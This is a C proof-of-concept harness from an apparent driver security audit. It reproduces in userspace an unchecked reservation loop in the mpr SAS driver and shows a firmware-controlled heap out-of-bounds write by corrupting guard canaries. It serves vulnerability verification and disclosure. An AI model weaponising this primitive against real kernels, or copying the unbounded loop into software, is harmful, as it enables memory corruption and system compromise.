DF-3914 / harness_df3914.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 | /* * DF-3914 harness: firmware-controlled enclosure NumSlots drives an * unbounded heap OOB write in the DIRECT-ATTACHED reservation path of * _mapping_get_dev_info() / _mapping_get_pcie_dev_info() * (sys/dev/raid/mpr/mpr_mapping.c). * * This is an OBJECT-LEVEL proof of the primitive. The mpr driver cannot * attach on the audit QEMU guest (no LSI/Avago SAS3 HBA present - only * virtio devices, see env.txt), so the vulnerable kernel path is not * runtime-reachable on this guest. This harness replicates the exact * kernel structs and the exact unguarded loops from mpr_mapping.c to * prove the OOB write primitive is real. * * Cited path (pass 2, GLM 5.3): * mpr_mapping.c:2843 et_entry->num_slots = le16toh(event_data->NumSlots) * (only a NumSlots==0 check at :2760; no upper bound) * mpr_mapping.c:1241-1243 (SAS) / :1392-1394 (PCIe) * if (!topo_change->exp_handle) { * map_idx = sc->num_rsvd_entries; * et_entry->start_index = map_idx; // NO num_slots check * } * mpr_mapping.c:1292-1299 (SAS) / :1443-1450 (PCIe) * mt_entry = &sc->mapping_table[map_idx]; * for (index = map_idx; * index < (et_entry->num_slots + map_idx); * index++, mt_entry++) { * mt_entry->device_info = MPR_DEV_RESERVED; * mt_entry->physical_id = et_entry->enclosure_id; * mt_entry->phy_bits = et_entry->phy_bits; * mt_entry->missing_count = 0; * } // OOB when num_rsvd+num_slots>max_devices * mpr_mapping.c:2140-2141 mapping_table = kmalloc(max_devices * 32) * mpr_mapping.c:2565 max_devices = facts->MaxTargets + MaxVolumes (u16) * * Contrast (why this is NOT the expander path): _mapping_find_enc_map_space() * only returns a start_idx when num_slots CONTIGUOUS free entries were found * below end_of_table <= max_devices (:979-993), so the expander branch is * bounded. The direct-attached branch (:1241) has no such bound at all. * * Distinct from DF-1282 (DPM pg0 DeviceIndex write in * _mapping_process_dpm_pg0:2327) and DF-1283 (slot-start_slot underflow in * _mapping_add_new_device:1637): different entry path (live topology event, * not DPM ingestion) and different arithmetic (missing table-size bound on * NumSlots, no slot subtraction). * * Build: cc -O2 -Wall -o harness_df3914 harness_df3914.c * Run: ./harness_df3914 */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> /* Mirror of sys/dev/raid/mpr/mprvar.h:113 (32 bytes on LP64) */ struct dev_mapping_table { uint64_t physical_id; uint32_t device_info; uint32_t phy_bits; uint16_t dpm_entry_num; uint16_t dev_handle; uint16_t reserved1; uint16_t id; uint8_t missing_count; uint8_t init_complete; uint8_t TLR_bits; uint8_t reserved2; }; struct enc_mapping_table { /* mprvar.h:141 - relevant fields only */ uint64_t enclosure_id; uint32_t start_index; uint32_t phy_bits; uint16_t dpm_entry_num; uint16_t enc_handle; uint16_t num_slots; uint16_t start_slot; uint8_t missing_count; uint8_t removal_flag; uint8_t skip_search; uint8_t init_complete; }; #define MPR_MAPTABLE_BAD_IDX 0xFFFFFFFFu #define MPR_DEV_RESERVED 0x20000000u #define MAX_DEVICES 264u /* MaxTargets(256)+MaxVolumes(8), typical SAS3 */ #define NUM_RSVD 1u /* MPI2_IOCPAGE8_FLAGS_RESERVED_TARGETID_0 */ #define GUARD_ENTRIES 4096u /* entries of guard following the allocation */ #define ATTACK_SLOTS 0x0800u /* enclosure event NumSlots = 2048 (u16 max 65535) */ #define ATTACK_ENC_ID 0x5141524153534141ULL /* "AASSRAAQ" - firmware-chosen SAS addr */ int main(void) { struct dev_mapping_table *mapping_table; struct enc_mapping_table et; uint32_t map_idx, index; struct dev_mapping_table *mt_entry; size_t i; int smashed = 0; size_t first_smash = (size_t)-1; size_t entries_past_end = 0; /* * Heap allocation exactly as the kernel does at mpr_mapping.c:2140 * (kmalloc(max_devices * 32, M_MPR)), followed by a guard region of * canaries standing in for the adjacent slab objects that the kernel * overflow would corrupt. */ mapping_table = calloc(MAX_DEVICES + GUARD_ENTRIES, sizeof(*mapping_table)); if (mapping_table == NULL) { perror("calloc"); return (1); } for (i = MAX_DEVICES; i < MAX_DEVICES + GUARD_ENTRIES; i++) memcpy(&mapping_table[i], &(uint32_t){0xDEADBEEFu}, sizeof(uint32_t)); /* Enclosure Status Change event (mpr_mapping.c:2833-2845): the only * validation of NumSlots in the whole file is != 0 (:2760-2765). */ memset(&et, 0, sizeof(et)); et.enclosure_id = ATTACK_ENC_ID; /* firmware-chosen 64-bit value */ et.num_slots = ATTACK_SLOTS; /* e.g. lying/broken backplane SES */ et.start_slot = 0; et.start_index = MPR_MAPTABLE_BAD_IDX; /* fresh, unmapped (:2841) */ /* SAS Topology Change List event, direct-attached devices: * topo_change->exp_handle == 0 -> mpr_mapping.c:1241-1243 */ map_idx = NUM_RSVD; et.start_index = map_idx; /* NO bound on num_slots here */ /* mpr_mapping.c:1292-1299 - verbatim reservation loop */ mt_entry = &mapping_table[map_idx]; for (index = map_idx; index < (et.num_slots + map_idx); index++, mt_entry++) { mt_entry->device_info = MPR_DEV_RESERVED; mt_entry->physical_id = et.enclosure_id; mt_entry->phy_bits = et.phy_bits; mt_entry->missing_count = 0; } printf("DF-3914 object-level proof\n"); printf(" mapping_table alloc : %u entries (%zu bytes)\n", MAX_DEVICES, (size_t)MAX_DEVICES * sizeof(*mapping_table)); printf(" num_rsvd_entries : %u\n", NUM_RSVD); printf(" enclosure NumSlots (fw) : %u\n", et.num_slots); printf(" reservation loop wrote : [%u, %u)\n", map_idx, et.num_slots + map_idx); printf(" table end : %u -> overflow of %u entries " "(%zu bytes)\n", MAX_DEVICES, (et.num_slots + map_idx) - MAX_DEVICES, (size_t)((et.num_slots + map_idx) - MAX_DEVICES) * sizeof(*mapping_table)); /* Prove the guard region now carries the attacker value at the * 32-byte stride (physical_id, fully firmware-controlled 8 bytes). */ for (i = MAX_DEVICES; i < MAX_DEVICES + GUARD_ENTRIES; i++) { if (mapping_table[i].physical_id == ATTACK_ENC_ID) { smashed = 1; if (first_smash == (size_t)-1) first_smash = i; entries_past_end++; } } if (!smashed) { printf("RESULT: no guard corruption - primitive NOT proven\n"); free(mapping_table); return (1); } printf(" guard[+%zu..] physical_id == 0x%016jx at %zu/%zu entries " "(stride %zu)\n", first_smash - MAX_DEVICES, (uintmax_t)ATTACK_ENC_ID, entries_past_end, (size_t)GUARD_ENTRIES, sizeof(struct dev_mapping_table)); printf(" kernel equivalent : %zu-byte write of fw-controlled " "data past a %zu-byte kmalloc slab object\n", (size_t)((et.num_slots + map_idx) - MAX_DEVICES) * sizeof(*mapping_table), (size_t)MAX_DEVICES * sizeof(*mapping_table)); printf("RESULT: OOB WRITE PRIMITIVE PROVEN (canary smash with " "attacker value, 32-byte stride)\n"); free(mapping_table); return (0); } |